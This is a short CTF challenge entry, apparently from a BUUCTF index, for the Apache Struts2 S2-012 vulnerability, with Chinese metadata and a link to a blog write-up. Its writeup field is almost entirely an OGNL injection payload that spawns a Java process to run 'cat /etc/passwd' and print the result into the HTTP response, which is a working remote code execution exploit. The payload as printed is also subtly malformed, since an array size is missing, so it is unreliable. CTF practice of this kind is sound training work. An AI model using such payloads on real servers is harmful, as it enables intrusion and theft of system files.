[struts2]s2-012
| ID： | 7452 |
|---|---|
| 标题： | [struts2]s2-012 |
| 描述： | https://github.com/vulhub/vulhub/tree/master/struts2/s2-012 |
| 类型： | Real |
| 网站： | BUUCTF |
| 题目链接： | https://buuoj.cn/challenges#[struts2]s2-012 |
| 赛事： | struts2 |
| 年度： | None |
| Flag值： | 无 |
| writeup： |
验证后的网址 %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char,#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()} https://blog.csdn.net/hiahiachang/article/details/105697178 |